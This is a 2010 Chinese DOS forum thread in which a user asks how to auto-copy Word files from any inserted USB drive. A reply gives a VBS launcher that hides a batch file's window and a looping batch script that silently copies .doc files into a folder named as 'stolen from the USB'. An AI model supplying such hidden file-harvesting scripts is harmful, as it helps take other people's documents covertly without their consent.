批处理能否自动提取优盘上的word文档 - 中国DOS联盟论坛

这个好难啊。
不过给你弄了两个东东，不知道有么有用。

Set shell = Wscript.createobject("wscript.shell")
a = shell.run ("自动复制u盘东东.bat",0)

上面这个东西用记事本保存为 .vbs 格式的，取个名字叫“隐藏运行.vbs”吧，它可以让下面这个叫“自动复制u盘东东”的批处理文件隐藏运行。

@echo off
setlocal enabledelayedexpansion
for %%a in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
for /f %%h in ('fsutil fsinfo drivetype %%a:^|findstr "Removable.* 可移动"') do (
set DriveU=%%h
)
)
echo.!DriveU!
md E:\u盘那偷来的
if exist !DriveU! copy !DriveU!\*.doc E:\u盘那偷来的>nul 2>nul
ping 127.1 -n 20 >nul
start 隐藏运行.vbs
exit

这个东东了就保存为 .bat取个名字叫“自动复制u盘东东.bat” 就可以，它会自动查找u盘并且每20十秒就会搜索一遍u盘，复制以后是存在E盘的u盘那偷来的文件夹里面。

这两个东西结合起来应该可以解决问题。不过有个缺陷，已经复制过的doc文件它还会再复制。如果你能改进一下的话就好了，能的话告诉我一声哈。

[ Last edited by wangyang331407 on 2010-12-22 at 23:10 ]

第1楼　water0	发表于 2010-12-22 15:22
初级用户　发帖 29　积分 33
批处理能否自动提取优盘上的word文档 1假设优盘的盘符是G 2优盘一旦插进去自动将里面的所有word文档复制到一个文件夹里面 3没有优盘插进去时什么也不做

第2楼　wangyang331407	发表于 2010-12-22 23:08
初级用户　发帖 28　积分 28
这个好难啊。不过给你弄了两个东东，不知道有么有用。 Set shell = Wscript.createobject("wscript.shell") a = shell.run ("自动复制u盘东东.bat",0) 上面这个东西用记事本保存为 .vbs 格式的，取个名字叫“隐藏运行.vbs”吧，它可以让下面这个叫“自动复制u盘东东”的批处理文件隐藏运行。 @echo off setlocal enabledelayedexpansion for %%a in (c d e f g h i j k l m n o p q r s t u v w x y z) do ( for /f %%h in ('fsutil fsinfo drivetype %%a:^\|findstr "Removable.* 可移动"') do ( set DriveU=%%h ) ) echo.!DriveU! md E:\u盘那偷来的 if exist !DriveU! copy !DriveU!\.doc E:\u盘那偷来的>nul 2>nul ping 127.1 -n 20 >nul start 隐藏运行.vbs exit 这个东东了就保存为 .bat取个名字叫“自动复制u盘东东.bat” 就可以，它会自动查找u盘并且每20十秒就会搜索一遍u盘，复制以后是存在E盘的u盘那偷来的文件夹里面。这两个东西结合起来应该可以解决问题。不过有个缺陷，已经复制过的doc文件它还会再复制。如果你能改进一下的话就好了，能的话告诉我一声哈。 [ Last edited by wangyang331407 on 2010-12-22 at 23:10* ]

第3楼　water0	发表于 2010-12-23 14:28
初级用户　发帖 29　积分 33
子文件不能复制啊